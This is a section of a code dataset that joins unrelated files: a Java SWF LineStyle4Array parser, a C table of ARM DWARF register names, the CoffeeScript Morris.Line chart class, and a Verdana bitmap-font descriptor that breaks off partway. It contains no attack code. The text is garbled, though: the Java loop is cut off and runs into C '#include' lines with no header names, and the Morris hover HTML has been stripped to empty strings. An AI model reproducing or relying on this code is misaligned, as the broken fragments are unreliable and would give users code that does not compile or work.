tv.porst.swfretools.parser.SWFBinaryParser;\nimport tv.porst.swfretools.parser.SWFParserException;\n\n/**\n * Parses LineStyle4Array structures.\n * \n * @author sp\n */\npublic final class LineStyle4ArrayParser {\n\n\t/**\n\t * Parses a LineStyle4Array structure.\n\t * \n\t * @param parser The parser that parses the structure.\n\t * @param fieldName Name of the structure in the parent structure.\n\t * \n\t * @return The parsed structure.\n\t * \n\t * @throws SWFParserException Thrown if the structure could not be parsed.\n\t */\n\tpublic static LineStyle4Array parse(final SWFBinaryParser parser, final String fieldName) throws SWFParserException {\n\n\t\tfinal UINT8 lineStyleCount = parseUINT8(parser, 0x00006, fieldName + \"::LineStyleCount\");\n\t\tfinal UINT16 lineStyleCountExtended = parseUINT16If(parser, 0x00006, lineStyleCount.value() == 0xFF, fieldName + \"::LineStyleCountExtended\");\n\n\t\tfinal int normalizedCount = lineStyleCount.value() == 0xFF ? lineStyleCountExtended.value() : lineStyleCount.value();\n\n\t\tfinal List lineStyles = new ArrayList();\n\n\t\tfor (int i=0;i\n#include \n\nstruct pt_regs_dwarfnum {\n\tconst char *name;\n\tunsigned int dwarfnum;\n};\n\n#define STR(s) #s\n#define REG_DWARFNUM_NAME(r, num) {.name = r, .dwarfnum = num}\n#define GPR_DWARFNUM_NAME(num) \\\n\t{.name = STR(%r##num), .dwarfnum = num}\n#define REG_DWARFNUM_END {.name = NULL, .dwarfnum = 0}\n\n/*\n * Reference:\n * http://infocenter.arm.com/help/topic/com.arm.doc.ihi0040a/IHI0040A_aadwarf.pdf\n */\nstatic const struct pt_regs_dwarfnum regdwarfnum_table[] = {\n\tGPR_DWARFNUM_NAME(0),\n\tGPR_DWARFNUM_NAME(1),\n\tGPR_DWARFNUM_NAME(2),\n\tGPR_DWARFNUM_NAME(3),\n\tGPR_DWARFNUM_NAME(4),\n\tGPR_DWARFNUM_NAME(5),\n\tGPR_DWARFNUM_NAME(6),\n\tGPR_DWARFNUM_NAME(7),\n\tGPR_DWARFNUM_NAME(8),\n\tGPR_DWARFNUM_NAME(9),\n\tGPR_DWARFNUM_NAME(10),\n\tREG_DWARFNUM_NAME(\"%fp\", 11),\n\tREG_DWARFNUM_NAME(\"%ip\", 12),\n\tREG_DWARFNUM_NAME(\"%sp\", 13),\n\tREG_DWARFNUM_NAME(\"%lr\", 14),\n\tREG_DWARFNUM_NAME(\"%pc\", 15),\n\tREG_DWARFNUM_END,\n};\n\n/**\n * get_arch_regstr() - lookup register name from it's DWARF register number\n * @n:\tthe DWARF register number\n *\n * get_arch_regstr() returns the name of the register in struct\n * regdwarfnum_table from it's DWARF register number. If the register is not\n * found in the table, this returns NULL;\n */\nconst char *get_arch_regstr(unsigned int n)\n{\n\tconst struct pt_regs_dwarfnum *roff;\n\tfor (roff = regdwarfnum_table; roff->name != NULL; roff++)\n\t\tif (roff->dwarfnum == n)\n\t\t\treturn roff->name;\n\treturn NULL;\n}\n"} +{"text": "class Morris.Line extends Morris.Grid\n # Initialise the graph.\n #\n constructor: (options) ->\n return new Morris.Line(options) unless (@ instanceof Morris.Line)\n super(options)\n\n init: ->\n # Some instance variables for later\n if @options.hideHover isnt 'always'\n @hover = new Morris.Hover(parent: @el)\n @on('hovermove', @onHoverMove)\n @on('hoverout', @onHoverOut)\n @on('gridclick', @onGridClick)\n\n # Default configuration\n #\n defaults:\n lineWidth: 3\n pointSize: 4\n lineColors: [\n '#0b62a4'\n '#7A92A3'\n '#4da74d'\n '#afd8f8'\n '#edc240'\n '#cb4b4b'\n '#9440ed'\n ]\n pointStrokeWidths: [1]\n pointStrokeColors: ['#ffffff']\n pointFillColors: []\n smooth: true\n xLabels: 'auto'\n xLabelFormat: null\n xLabelMargin: 24\n hideHover: false\n\n # Do any size-related calculations\n #\n # @private\n calc: ->\n @calcPoints()\n @generatePaths()\n\n # calculate series data point coordinates\n #\n # @private\n calcPoints: ->\n for row in @data\n row._x = @transX(row.x)\n row._y = for y in row.y\n if y? then @transY(y) else y\n row._ymax = Math.min [@bottom].concat(y for y in row._y when y?)...\n\n # hit test - returns the index of the row at the given x-coordinate\n #\n hitTest: (x) ->\n return null if @data.length == 0\n # TODO better search algo\n for r, index in @data.slice(1)\n break if x < (r._x + @data[index]._x) / 2\n index\n\n # click on grid event handler\n #\n # @private\n onGridClick: (x, y) =>\n index = @hitTest(x)\n @fire 'click', index, @data[index].src, x, y\n\n # hover movement event handler\n #\n # @private\n onHoverMove: (x, y) =>\n index = @hitTest(x)\n @displayHoverForRow(index)\n\n # hover out event handler\n #\n # @private\n onHoverOut: =>\n if @options.hideHover isnt false\n @displayHoverForRow(null)\n\n # display a hover popup over the given row\n #\n # @private\n displayHoverForRow: (index) ->\n if index?\n @hover.update(@hoverContentForRow(index)...)\n @hilight(index)\n else\n @hover.hide()\n @hilight()\n\n # hover content for a point\n #\n # @private\n hoverContentForRow: (index) ->\n row = @data[index]\n content = \"
    #{row.label}
    \"\n for y, j in row.y\n content += \"\"\"\n
    \n #{@options.labels[j]}:\n #{@yLabelFormat(y)}\n
    \n \"\"\"\n if typeof @options.hoverCallback is 'function'\n content = @options.hoverCallback(index, @options, content, row.src)\n [content, row._x, row._ymax]\n\n\n # generate paths for series lines\n #\n # @private\n generatePaths: ->\n @paths = for i in [0...@options.ykeys.length]\n smooth = if typeof @options.smooth is \"boolean\" then @options.smooth else @options.ykeys[i] in @options.smooth\n coords = ({x: r._x, y: r._y[i]} for r in @data when r._y[i] isnt undefined)\n\n if coords.length > 1\n Morris.Line.createPath coords, smooth, @bottom\n else\n null\n\n # Draws the line chart.\n #\n draw: ->\n @drawXAxis() if @options.axes in [true, 'both', 'x']\n @drawSeries()\n if @options.hideHover is false\n @displayHoverForRow(@data.length - 1)\n\n # draw the x-axis labels\n #\n # @private\n drawXAxis: ->\n # draw x axis labels\n ypos = @bottom + @options.padding / 2\n prevLabelMargin = null\n prevAngleMargin = null\n drawLabel = (labelText, xpos) =>\n label = @drawXAxisLabel(@transX(xpos), ypos, labelText)\n textBox = label.getBBox()\n label.transform(\"r#{-@options.xLabelAngle}\")\n labelBox = label.getBBox()\n label.transform(\"t0,#{labelBox.height / 2}...\")\n if @options.xLabelAngle != 0\n offset = -0.5 * textBox.width *\n Math.cos(@options.xLabelAngle * Math.PI / 180.0)\n label.transform(\"t#{offset},0...\")\n # try to avoid overlaps\n labelBox = label.getBBox()\n if (not prevLabelMargin? or\n prevLabelMargin >= labelBox.x + labelBox.width or\n prevAngleMargin? and prevAngleMargin >= labelBox.x) and\n labelBox.x >= 0 and (labelBox.x + labelBox.width) < @el.width()\n if @options.xLabelAngle != 0\n margin = 1.25 * @options.gridTextSize /\n Math.sin(@options.xLabelAngle * Math.PI / 180.0)\n prevAngleMargin = labelBox.x - margin\n prevLabelMargin = labelBox.x - @options.xLabelMargin\n else\n label.remove()\n if @options.parseTime\n if @data.length == 1 and @options.xLabels == 'auto'\n # where there's only one value in the series, we can't make a\n # sensible guess for an x labelling scheme, so just use the original\n # column label\n labels = [[@data[0].label, @data[0].x]]\n else\n labels = Morris.labelSeries(@xmin, @xmax, @width, @options.xLabels, @options.xLabelFormat)\n else\n labels = ([row.label, row.x] for row in @data)\n labels.reverse()\n for l in labels\n drawLabel(l[0], l[1])\n\n # draw the data series\n #\n # @private\n drawSeries: ->\n @seriesPoints = []\n for i in [@options.ykeys.length-1..0]\n @_drawLineFor i\n for i in [@options.ykeys.length-1..0]\n @_drawPointFor i\n\n _drawPointFor: (index) ->\n @seriesPoints[index] = []\n for row in @data\n circle = null\n if row._y[index]?\n circle = @drawLinePoint(row._x, row._y[index], @colorFor(row, index, 'point'), index)\n @seriesPoints[index].push(circle)\n\n _drawLineFor: (index) ->\n path = @paths[index]\n if path isnt null\n @drawLinePath path, @colorFor(null, index, 'line'), index\n\n # create a path for a data series\n #\n # @private\n @createPath: (coords, smooth, bottom) ->\n path = \"\"\n grads = Morris.Line.gradients(coords) if smooth\n\n prevCoord = {y: null}\n for coord, i in coords\n if coord.y?\n if prevCoord.y?\n if smooth\n g = grads[i]\n lg = grads[i - 1]\n ix = (coord.x - prevCoord.x) / 4\n x1 = prevCoord.x + ix\n y1 = Math.min(bottom, prevCoord.y + ix * lg)\n x2 = coord.x - ix\n y2 = Math.min(bottom, coord.y - ix * g)\n path += \"C#{x1},#{y1},#{x2},#{y2},#{coord.x},#{coord.y}\"\n else\n path += \"L#{coord.x},#{coord.y}\"\n else\n if not smooth or grads[i]?\n path += \"M#{coord.x},#{coord.y}\"\n prevCoord = coord\n return path\n\n # calculate a gradient at each point for a series of points\n #\n # @private\n @gradients: (coords) ->\n grad = (a, b) -> (a.y - b.y) / (a.x - b.x)\n for coord, i in coords\n if coord.y?\n nextCoord = coords[i + 1] or {y: null}\n prevCoord = coords[i - 1] or {y: null}\n if prevCoord.y? and nextCoord.y?\n grad(prevCoord, nextCoord)\n else if prevCoord.y?\n grad(prevCoord, coord)\n else if nextCoord.y?\n grad(coord, nextCoord)\n else\n null\n else\n null\n\n # @private\n hilight: (index) =>\n if @prevHilight isnt null and @prevHilight isnt index\n for i in [0..@seriesPoints.length-1]\n if @seriesPoints[i][@prevHilight]\n @seriesPoints[i][@prevHilight].animate @pointShrinkSeries(i)\n if index isnt null and @prevHilight isnt index\n for i in [0..@seriesPoints.length-1]\n if @seriesPoints[i][index]\n @seriesPoints[i][index].animate @pointGrowSeries(i)\n @prevHilight = index\n\n colorFor: (row, sidx, type) ->\n if typeof @options.lineColors is 'function'\n @options.lineColors.call(@, row, sidx, type)\n else if type is 'point'\n @options.pointFillColors[sidx % @options.pointFillColors.length] || @options.lineColors[sidx % @options.lineColors.length]\n else\n @options.lineColors[sidx % @options.lineColors.length]\n\n drawXAxisLabel: (xPos, yPos, text) ->\n @raphael.text(xPos, yPos, text)\n .attr('font-size', @options.gridTextSize)\n .attr('font-family', @options.gridTextFamily)\n .attr('font-weight', @options.gridTextWeight)\n .attr('fill', @options.gridTextColor)\n\n drawLinePath: (path, lineColor, lineIndex) ->\n @raphael.path(path)\n .attr('stroke', lineColor)\n .attr('stroke-width', @lineWidthForSeries(lineIndex))\n\n drawLinePoint: (xPos, yPos, pointColor, lineIndex) ->\n @raphael.circle(xPos, yPos, @pointSizeForSeries(lineIndex))\n .attr('fill', pointColor)\n .attr('stroke-width', @pointStrokeWidthForSeries(lineIndex))\n .attr('stroke', @pointStrokeColorForSeries(lineIndex))\n\n # @private\n pointStrokeWidthForSeries: (index) ->\n @options.pointStrokeWidths[index % @options.pointStrokeWidths.length]\n\n # @private\n pointStrokeColorForSeries: (index) ->\n @options.pointStrokeColors[index % @options.pointStrokeColors.length]\n\n # @private\n lineWidthForSeries: (index) ->\n if (@options.lineWidth instanceof Array)\n @options.lineWidth[index % @options.lineWidth.length]\n else\n @options.lineWidth\n\n # @private\n pointSizeForSeries: (index) ->\n if (@options.pointSize instanceof Array)\n @options.pointSize[index % @options.pointSize.length]\n else\n @options.pointSize\n\n # @private\n pointGrowSeries: (index) ->\n Raphael.animation r: @pointSizeForSeries(index) + 3, 25, 'linear'\n\n # @private\n pointShrinkSeries: (index) ->\n Raphael.animation r: @pointSizeForSeries(index), 25, 'linear'\n\n# generate a series of label, timestamp pairs for x-axis labels\n#\n# @private\nMorris.labelSeries = (dmin, dmax, pxwidth, specName, xLabelFormat) ->\n ddensity = 200 * (dmax - dmin) / pxwidth # seconds per `margin` pixels\n d0 = new Date(dmin)\n spec = Morris.LABEL_SPECS[specName]\n # if the spec doesn't exist, search for the closest one in the list\n if spec is undefined\n for name in Morris.AUTO_LABEL_ORDER\n s = Morris.LABEL_SPECS[name]\n if ddensity >= s.span\n spec = s\n break\n # if we run out of options, use second-intervals\n if spec is undefined\n spec = Morris.LABEL_SPECS[\"second\"]\n # check if there's a user-defined formatting function\n if xLabelFormat\n spec = $.extend({}, spec, {fmt: xLabelFormat})\n # calculate labels\n d = spec.start(d0)\n ret = []\n while (t = d.getTime()) <= dmax\n if t >= dmin\n ret.push [spec.fmt(d), t]\n spec.incr(d)\n return ret\n\n# @private\nminutesSpecHelper = (interval) ->\n span: interval * 60 * 1000\n start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours())\n fmt: (d) -> \"#{Morris.pad2(d.getHours())}:#{Morris.pad2(d.getMinutes())}\"\n incr: (d) -> d.setUTCMinutes(d.getUTCMinutes() + interval)\n\n# @private\nsecondsSpecHelper = (interval) ->\n span: interval * 1000\n start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours(), d.getMinutes())\n fmt: (d) -> \"#{Morris.pad2(d.getHours())}:#{Morris.pad2(d.getMinutes())}:#{Morris.pad2(d.getSeconds())}\"\n incr: (d) -> d.setUTCSeconds(d.getUTCSeconds() + interval)\n\nMorris.LABEL_SPECS =\n \"decade\":\n span: 172800000000 # 10 * 365 * 24 * 60 * 60 * 1000\n start: (d) -> new Date(d.getFullYear() - d.getFullYear() % 10, 0, 1)\n fmt: (d) -> \"#{d.getFullYear()}\"\n incr: (d) -> d.setFullYear(d.getFullYear() + 10)\n \"year\":\n span: 17280000000 # 365 * 24 * 60 * 60 * 1000\n start: (d) -> new Date(d.getFullYear(), 0, 1)\n fmt: (d) -> \"#{d.getFullYear()}\"\n incr: (d) -> d.setFullYear(d.getFullYear() + 1)\n \"month\":\n span: 2419200000 # 28 * 24 * 60 * 60 * 1000\n start: (d) -> new Date(d.getFullYear(), d.getMonth(), 1)\n fmt: (d) -> \"#{d.getFullYear()}-#{Morris.pad2(d.getMonth() + 1)}\"\n incr: (d) -> d.setMonth(d.getMonth() + 1)\n \"week\":\n span: 604800000 # 7 * 24 * 60 * 60 * 1000\n start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate())\n fmt: (d) -> \"#{d.getFullYear()}-#{Morris.pad2(d.getMonth() + 1)}-#{Morris.pad2(d.getDate())}\"\n incr: (d) -> d.setDate(d.getDate() + 7)\n \"day\":\n span: 86400000 # 24 * 60 * 60 * 1000\n start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate())\n fmt: (d) -> \"#{d.getFullYear()}-#{Morris.pad2(d.getMonth() + 1)}-#{Morris.pad2(d.getDate())}\"\n incr: (d) -> d.setDate(d.getDate() + 1)\n \"hour\": minutesSpecHelper(60)\n \"30min\": minutesSpecHelper(30)\n \"15min\": minutesSpecHelper(15)\n \"10min\": minutesSpecHelper(10)\n \"5min\": minutesSpecHelper(5)\n \"minute\": minutesSpecHelper(1)\n \"30sec\": secondsSpecHelper(30)\n \"15sec\": secondsSpecHelper(15)\n \"10sec\": secondsSpecHelper(10)\n \"5sec\": secondsSpecHelper(5)\n \"second\": secondsSpecHelper(1)\n\nMorris.AUTO_LABEL_ORDER = [\n \"decade\", \"year\", \"month\", \"week\", \"day\", \"hour\",\n \"30min\", \"15min\", \"10min\", \"5min\", \"minute\",\n \"30sec\", \"15sec\", \"10sec\", \"5sec\", \"second\"\n]\n"} +{"text": "info face=\"Verdana\" size=20 bold=1 italic=0 charset=\"\" unicode=1 stretchH=100 smooth=1 aa=1 padding=0,8,8,0 spacing=1,1 outline=0\ncommon lineHeight=20 base=17 scaleW=512 scaleH=512 pages=1 packed=0 alphaChnl=2 redChnl=4 greenChnl=4 blueChnl=4\npage id=0 file=\"Verdana20_0.png\"\nchars count=191\nchar id=32 x=501 y=48 width=9 height=9 xoffset=0 yoffset=17 xadvance=6 page=0 chnl=15\nchar id=33 x=129 y=116 width=11 height=20 xoffset=2 yoffset=5 xadvance=7 page=0 chnl=15\nchar id=34 x=294 y=132 width=15 height=13 xoffset=1 yoffset=4 xadvance=10 page=0 chnl=15\nchar id=35 x=428 y=70 width=19 height=20 xoffset=2 yoffset=5 xadvance=15 page=0 chnl=15\nchar id=36 x=477 y=0 width=18 height=24 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=37 x=472 y=48 width=28 height=20 xoffset=1 yoffset=5 xadvance=22 page=0 chnl=15\nchar id=38 x=131 y=74 width=22 height=20 xoffset=1 yoffset=5 xadvance=15 page=0 chnl=15\nchar id=39 x=310 y=132 width=11 height=13 xoffset=1 yoffset=4 xadvance=6 page=0 chnl=15\nchar id=40 x=158 y=26 width=14 height=24 xoffset=2 yoffset=4 xadvance=9 page=0 chnl=15\nchar id=41 x=143 y=26 width=14 height=24 xoffset=1 yoffset=4 xadvance=9 page=0 chnl=15\nchar id=42 x=85 y=137 width=16 height=16 xoffset=2 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=43 x=253 y=114 width=18 height=18 xoffset=2 yoffset=6 xadvance=15 page=0 chnl=15\nchar id=44 x=280 y=132 width=13 height=14 xoffset=0 yoffset=14 xadvance=6 page=0 chnl=15\nchar id=45 x=461 y=130 width=14 height=10 xoffset=1 yoffset=10 xadvance=8 page=0 chnl=15\nchar id=46 x=376 y=131 width=11 height=11 xoffset=2 yoffset=14 xadvance=6 page=0 chnl=15\nchar id=47 x=38 y=26 width=17 height=24 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=48 x=323 y=93 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=49 x=435 y=91 width=17 height=20 xoffset=2 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=50 x=399 y=92 width=17 height=20 xoffset=2 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=51 x=342 y=92 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=52 x=488 y=69 width=19 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=53 x=361 y=92 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=54 x=380 y=92 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=55 x=304 y=93 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=56 x=0 y=95 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=57 x=19 y=95 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=58 x=499 y=111 width=11 height=17 xoffset=2 yoffset=8 xadvance=7 page=0 chnl=15\nchar id=59 x=115 y=116 width=13 height=20 xoffset=1 yoffset=8 xadvance=7 page=0 chnl=15\nchar id=60 x=213 y=116 width=19 height=19 xoffset=2 yoffset=6 xadvance=15 page=0 chnl=15\nchar id=61 x=260 y=133 width=19 height=14 xoffset=2 yoffset=8 xadvance=15 page=0 chnl=15\nchar id=62 x=173 y=116 width=19 height=19 xoffset=2 yoffset=6 xadvance=15 page=0 chnl=15\nchar id=63 x=17 y=116 width=16 height=20 xoffset=1 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=64 x=321 y=26 width=22 height=22 xoffset=1 yoffset=5 xadvance=16 page=0 chnl=15\nchar id=65 x=154 y=74 width=21 height=20 xoffset=0 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=66 x=38 y=95 width=18 height=20 xoffset=2 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=67 x=57 y=95 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=68 x=388 y=71 width=19 height=20 xoffset=2 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=69 x=471 y=91 width=17 height=20 xoffset=2 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=70 x=34 y=116 width=16 height=20 xoffset=2 yoffset=5 xadvance=11 page=0 chnl=15\nchar id=71 x=284 y=72 width=20 height=20 xoffset=1 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=72 x=76 y=95 width=18 height=20 xoffset=2 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=73 x=99 y=116 width=15 height=20 xoffset=1 yoffset=5 xadvance=9 page=0 chnl=15\nchar id=74 x=83 y=116 width=15 height=20 xoffset=0 yoffset=5 xadvance=9 page=0 chnl=15\nchar id=75 x=408 y=71 width=19 height=20 xoffset=2 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=76 x=453 y=91 width=17 height=20 xoffset=2 yoffset=5 xadvance=11 page=0 chnl=15\nchar id=77 x=263 y=72 width=20 height=20 xoffset=2 yoffset=5 xadvance=16 page=0 chnl=15\nchar id=78 x=209 y=95 width=18 height=20 xoffset=2 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=79 x=305 y=72 width=20 height=20 xoffset=1 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=80 x=417 y=92 width=17 height=20 xoffset=2 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=81 x=227 y=26 width=20 height=23 xoffset=1 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=82 x=468 y=70 width=19 height=20 xoffset=2 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=83 x=95 y=95 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=84 x=368 y=71 width=19 height=20 xoffset=0 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=85 x=114 y=95 width=18 height=20 xoffset=2 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=86 x=176 y=74 width=21 height=20 xoffset=0 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=87 x=54 y=74 width=25 height=20 xoffset=1 yoffset=5 xadvance=19 page=0 chnl=15\nchar id=88 x=198 y=74 width=21 height=20 xoffset=0 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=89 x=220 y=74 width=21 height=20 xoffset=0 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=90 x=133 y=95 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=91 x=173 y=26 width=14 height=24 xoffset=2 yoffset=4 xadvance=9 page=0 chnl=15\nchar id=92 x=110 y=26 width=17 height=24 xoffset=2 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=93 x=188 y=26 width=14 height=24 xoffset=2 yoffset=4 xadvance=9 page=0 chnl=15\nchar id=94 x=182 y=136 width=19 height=15 xoffset=2 yoffset=5 xadvance=15 page=0 chnl=15\nchar id=95 x=388 y=131 width=20 height=10 xoffset=0 yoffset=18 xadvance=12 page=0 chnl=15\nchar id=96 x=350 y=131 width=13 height=11 xoffset=3 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=97 x=0 y=137 width=17 height=17 xoffset=1 yoffset=8 xadvance=11 page=0 chnl=15\nchar id=98 x=305 y=50 width=18 height=21 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=99 x=18 y=137 width=16 height=17 xoffset=1 yoffset=8 xadvance=10 page=0 chnl=15\nchar id=100 x=324 y=49 width=18 height=21 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=101 x=481 y=112 width=17 height=17 xoffset=1 yoffset=8 xadvance=11 page=0 chnl=15\nchar id=102 x=433 y=48 width=14 height=21 xoffset=1 yoffset=4 xadvance=7 page=0 chnl=15\nchar id=103 x=152 y=95 width=18 height=20 xoffset=1 yoffset=8 xadvance=12 page=0 chnl=15\nchar id=104 x=343 y=49 width=18 height=21 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=105 x=448 y=48 width=11 height=21 xoffset=1 yoffset=4 xadvance=6 page=0 chnl=15\nchar id=106 x=128 y=26 width=14 height=24 xoffset=0 yoffset=4 xadvance=7 page=0 chnl=15\nchar id=107 x=286 y=50 width=18 height=21 xoffset=1 yoffset=4 xadvance=11 page=0 chnl=15\nchar id=108 x=460 y=48 width=11 height=21 xoffset=1 yoffset=4 xadvance=6 page=0 chnl=15\nchar id=109 x=298 y=114 width=23 height=17 xoffset=2 yoffset=8 xadvance=18 page=0 chnl=15\nchar id=110 x=386 y=113 width=18 height=17 xoffset=1 yoffset=8 xadvance=12 page=0 chnl=15\nchar id=111 x=405 y=113 width=18 height=17 xoffset=1 yoffset=8 xadvance=12 page=0 chnl=15\nchar id=112 x=171 y=95 width=18 height=20 xoffset=1 yoffset=8 xadvance=12 page=0 chnl=15\nchar id=113 x=190 y=95 width=18 height=20 xoffset=1 yoffset=8 xadvance=12 page=0 chnl=15\nchar id=114 x=69 y=137 width=15 height=17 xoffset=1 yoffset=8 xadvance=8 page=0 chnl=15\nchar id=115 x=35 y=137 width=16 height=17 xoffset=1 yoffset=8 xadvance=10 page=0 chnl=15\nchar id=116 x=67 y=116 width=15 height=20 xoffset=1 yoffset=5 xadvance=8 page=0 chnl=15\nchar id=117 x=424 y=113 width=18 height=17 xoffset=1 yoffset=8 xadvance=12 page=0 chnl=15\nchar id=118 x=346 y=113 width=19 height=17 xoffset=0 yoffset=8 xadvance=11 page=0 chnl=15\nchar id=119 x=272 y=114 width=25 height=17 xoffset=0 yoffset=8 xadvance=17 page=0 chnl=15\nchar id=120 x=366 y=113 width=19 height=17 xoffset=0 yoffset=8 xadvance=11 page=0 chnl=15\nchar id=121 x=448 y=70 width=19 height=20 xoffset=0 yoffset=8 xadvance=11 page=0 chnl=15\nchar id=122 x=52 y=137 width=16 height=17 xoffset=1 yoffset=8 xadvance=10 page=0 chnl=15\nchar id=123 x=92 y=26 width=17 height=24 xoffset=2 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=124 x=203 y=26 width=11 height=24 xoffset=3 yoffset=4 xadvance=9 page=0 chnl=15\nchar id=125 x=56 y=26 width=17 height=24 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=126 x=238 y=135 width=21 height=14 xoffset=1 yoffset=9 xadvance=15 page=0 chnl=15\nchar id=160 x=476 y=130 width=9 height=9 xoffset=0 yoffset=17 xadvance=6 page=0 chnl=15\nchar id=161 x=141 y=116 width=11 height=20 xoffset=2 yoffset=5 xadvance=7 page=0 chnl=15\nchar id=162 x=304 y=26 width=16 height=23 xoffset=2 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=163 x=228 y=95 width=18 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=164 x=193 y=116 width=19 height=19 xoffset=1 yoffset=6 xadvance=12 page=0 chnl=15\nchar id=165 x=347 y=71 width=20 height=20 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=166 x=215 y=26 width=11 height=24 xoffset=3 yoffset=4 xadvance=9 page=0 chnl=15\nchar id=167 x=248 y=26 width=18 height=23 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=168 x=430 y=131 width=15 height=10 xoffset=3 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=169 x=344 y=26 width=22 height=22 xoffset=1 yoffset=5 xadvance=16 page=0 chnl=15\nchar id=170 x=151 y=137 width=15 height=16 xoffset=1 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=171 x=443 y=112 width=18 height=17 xoffset=2 yoffset=7 xadvance=14 page=0 chnl=15\nchar id=172 x=202 y=136 width=19 height=15 xoffset=2 yoffset=10 xadvance=15 page=0 chnl=15\nchar id=173 x=446 y=130 width=14 height=10 xoffset=1 yoffset=10 xadvance=8 page=0 chnl=15\nchar id=174 x=367 y=26 width=22 height=22 xoffset=1 yoffset=5 xadvance=16 page=0 chnl=15\nchar id=175 x=409 y=131 width=20 height=10 xoffset=0 yoffset=2 xadvance=12 page=0 chnl=15\nchar id=176 x=222 y=136 width=15 height=15 xoffset=2 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=177 x=247 y=93 width=18 height=20 xoffset=2 yoffset=5 xadvance=15 page=0 chnl=15\nchar id=178 x=119 y=137 width=15 height=16 xoffset=2 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=179 x=135 y=137 width=15 height=16 xoffset=2 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=180 x=322 y=132 width=13 height=11 xoffset=4 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=181 x=266 y=93 width=18 height=20 xoffset=1 yoffset=8 xadvance=12 page=0 chnl=15\nchar id=182 x=286 y=26 width=17 height=23 xoffset=1 yoffset=5 xadvance=12 page=0 chnl=15\nchar id=183 x=364 y=131 width=11 height=11 xoffset=2 yoffset=10 xadvance=6 page=0 chnl=15\nchar id=184 x=336 y=132 width=13 height=11 xoffset=4 yoffset=17 xadvance=12 page=0 chnl=15\nchar id=185 x=167 y=136 width=14 height=16 xoffset=2 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=186 x=102 y=137 width=16 height=16 xoffset=1 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=187 x=462 y=112 width=18 height=17 xoffset=2 yoffset=7 xadvance=14 page=0 chnl=15\nchar id=188 x=80 y=74 width=25 height=20 xoffset=1 yoffset=5 xadvance=20 page=0 chnl=15\nchar id=189 x=0 y=74 width=26 height=20 xoffset=1 yoffset=5 xadvance=20 page=0 chnl=15\nchar id=190 x=106 y=74 width=24 height=20 xoffset=2 yoffset=5 xadvance=20 page=0 chnl=15\nchar id=191 x=489 y=90 width=16 height=20 xoffset=1 yoffset=5 xadvance=10 page=0 chnl=15\nchar id=192 x=88 y=0 width=21 height=25 xoffset=0 yoffset=0 xadvance=13 page=0 chnl=15\nchar id=193 x=0 y=0 width=21 height=25 xoffset=0 yoffset=0 xadvance=13 page=0 chnl=15\nchar id=194 x=22 y=0 width=21 height=25 xoffset=0 yoffset=0 xadvance=13 page=0 chnl=15\nchar id=195 x=44 y=0 width=21 height=25 xoffset=0 yoffset=0 xadvance=13 page=0 chnl=15\nchar id=196 x=414 y=0 width=21 height=24 xoffset=0 yoffset=1 xadvance=13 page=0 chnl=15\nchar id=197 x=392 y=0 width=21 height=24 xoffset=0 yoffset=1 xadvance=13 page=0 chnl=15\nchar id=198 x=27 y=74 width=26 height=20 xoffset=0 yoffset=5 xadvance=19 page=0 chnl=15\nchar id=199 x=267 y=26 width=18 height=23 xoffset=1 yoffset=5 